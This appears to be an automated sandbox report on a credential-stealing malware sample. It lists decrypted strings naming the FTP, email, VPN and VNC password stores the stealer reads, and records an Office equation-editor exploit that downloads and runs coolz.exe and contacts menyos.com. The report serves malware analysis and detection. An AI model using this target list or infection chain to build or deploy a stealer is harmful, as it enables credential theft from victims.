              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Private Internet Access
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: %ProgramW6432%
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Private Internet Access\data
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles(x86)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Private Internet Access\data
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \account.json
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: .*"username":"(.*?)"
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: .*"password":"(.*?)"
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Private Internet Access
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: privateinternetaccess.com
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: FileZilla
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: APPDATA
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \FileZilla\recentservers.xml
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: APPDATA
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \FileZilla\recentservers.xml
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <Server>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <Host>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <Host>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </Host>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <Port>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </Port>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <User>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <User>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </User>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <Pass encoding="base64">
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <Pass encoding="base64">
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </Pass>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <Pass>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <Pass encoding="base64">
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </Pass>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: CoreFTP
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SOFTWARE\FTPWare\COREFTP\Sites
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: User
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Host
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Port
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: hdfzpysvpzimorhk
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: WinSCP
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: HostName
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UserName
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PublicKeyFile
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PortNumber
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: [PRIVATE KEY LOCATION: "{0}"]
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: WinSCP
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ABCDEF
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Flash FXP
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: port
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: user
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pass
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: quick.dat
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Sites.dat
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \FlashFXP\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \FlashFXP\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: yA36zA48dEhfrvghGRg57h5UlDv3
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: FTP Navigator
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SystemDrive
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \FTP Navigator\Ftplist.txt
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Server
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: No Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: User
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SmartFTP
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: APPDATA
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SmartFTP\Client 2.0\Favorites\Quick Connect
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: WS_FTP
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: appdata
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Ipswitch\WS_FTP\Sites\ws_ftp.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: HOST
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PWD=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PWD=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: FtpCommander
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SystemDrive
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SystemDrive
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Program Files (x86)\FTP Commander\Ftplist.txt
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SystemDrive
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \cftp\Ftplist.txt
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \VirtualStore\Program Files (x86)\FTP Commander\Ftplist.txt
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \VirtualStore\Program Files (x86)\FTP Commander Deluxe\Ftplist.txt
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ;Password=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ;User=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ;Server=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ;Port=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ;Port=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ;Password=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ;User=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ;Anonymous=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: FTPGetter
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \FTPGetter\servers.xml
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <server>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <server_ip>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <server_ip>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </server_ip>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <server_port>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </server_port>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <server_user_name>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <server_user_name>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </server_user_name>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <server_user_password>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <server_user_password>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </server_user_password>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: FTPGetter
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: The Bat!
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: appdata
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \The Bat!
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Account.CFN
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Account.CFN
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Becky!
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: HKEY_CURRENT_USER\Software\RimArts\B2\Settings
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: DataDir
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Folder.lst
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Mailbox.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Account
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PassWd
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Account
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SMTPServer
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Account
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: MailAddress
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Becky!
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Outlook
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Email
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: IMAP Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: POP3 Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: HTTP Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SMTP Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Email
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Email
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Email
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: IMAP Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: POP3 Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: HTTP Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SMTP Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Server
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Windows Mail App
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: COMPlus_legacyCorruptedStateExceptionsPolicy
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\Microsoft\ActiveSync\Partners
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Email
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Server
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SchemaId
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pResourceElement
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pIdentityElement
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pPackageSid
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pAuthenticatorElement
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: syncpassword
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: mailoutgoing
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: FoxMail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: HKEY_CURRENT_USER\Software\Aerofox\FoxmailPreview
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Executable
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: HKEY_CURRENT_USER\Software\Aerofox\Foxmail\V3.1
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: FoxmailPath
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Storage\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Storage\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \mail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \mail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \VirtualStore\Program Files\Foxmail\mail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \VirtualStore\Program Files\Foxmail\mail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \VirtualStore\Program Files (x86)\Foxmail\mail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \VirtualStore\Program Files (x86)\Foxmail\mail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Accounts\Account.rec0
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Accounts\Account.rec0
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Account.stg
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Account.stg
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: POP3Host
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SMTPHost
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: IncomingServer
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Account
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: MailAddress
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: POP3Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Opera Mail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Opera Mail\Opera Mail\wand.dat
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Opera Mail\Opera Mail\wand.dat
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: opera:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: abcdefghijklmnopqrstuvwxyz1234567890_-.~!@#$%^&*()[{]}\|';:,<>/?+=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PocoMail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: appdata
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Pocomail\accounts.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Email
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: POPPass
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SMTPPass
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SMTP
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: eM Client
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: eM Client\accounts.dat
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: eM Client
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Accounts
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: "Username":"
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: "Secret":"
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 72905C47-F4FD-4CF7-A489-4E8121A155BD
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: "ProviderName":"
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: o6806642kbM7c5
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Mailbird
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SenderIdentities
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Accounts
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Mailbird\Store\Store.db
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Server_Host
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Accounts
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Email
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Username
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: EncryptedPassword
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Mailbird
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: RealVNC 4.x
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SOFTWARE\Wow6432Node\RealVNC\WinVNC4
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: RealVNC 3.x
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SOFTWARE\RealVNC\vncserver
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: RealVNC 4.x
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SOFTWARE\RealVNC\WinVNC4
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: RealVNC 3.x
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\ORL\WinVNC3
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: TightVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\TightVNC\Server
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: TightVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\TightVNC\Server
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PasswordViewOnly
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: TightVNC ControlPassword
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\TightVNC\Server
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ControlPassword
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: TigerVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\TigerVNC\Server
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UltraVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles(x86)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passwd
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UltraVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles(x86)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passwd2
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UltraVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passwd
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UltraVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passwd2
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UltraVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \UltraVNC\ultravnc.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passwd
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UltraVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \UltraVNC\ultravnc.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passwd2
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UltraVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles(x86)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \UltraVNC\ultravnc.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passwd
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UltraVNC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ProgramFiles(x86)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \UltraVNC\ultravnc.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passwd2
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: JDownloader 2.0
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: JDownloader 2.0\cfg
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: org.jdownloader.settings.AccountSettings.accounts.ejs
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: JDownloader 2.0\cfg
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: jd.controlling.authentication.AuthenticationControllerSettings.list.ejs
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Paltalk

              Exploits

              barindex
              Office equation editor establishes network connection
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXENetwork connect: IP: 104.21.35.109 Port: 443Jump to behavior
              Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Local\Temp\coolz.exe
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Users\user\AppData\Local\Temp\coolz.exeJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: unknownHTTPS traffic detected: 104.21.35.109:443 -> 192.168.2.22:49163 version: TLS 1.2
              Source: Binary string: wntdll.pdb source: coolz.exe, 00000005.00000003.483771153.0000000003970000.00000004.00001000.00020000.00000000.sdmp, coolz.exe, 00000005.00000003.483536666.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp

              Software Vulnerabilities

              barindex
              Document exploit detected (process start blacklist hit)
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
              Shellcode detected
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_036706E2 URLDownloadToFileW,2_2_036706E2
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_03670659 LoadLibraryW,URLDownloadToFileW,2_2_03670659
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0367072D WinExec,ExitProcess,2_2_0367072D
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_036705E9 URLDownloadToFileW,2_2_036705E9
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_03670673 URLDownloadToFileW,2_2_03670673
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_0367074D ExitProcess,2_2_0367074D
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_036705CD URLDownloadToFileW,2_2_036705CD
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_036705B4 ExitProcess,2_2_036705B4
              Source: global trafficDNS query: name: menyos.com
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 104.21.35.109:443
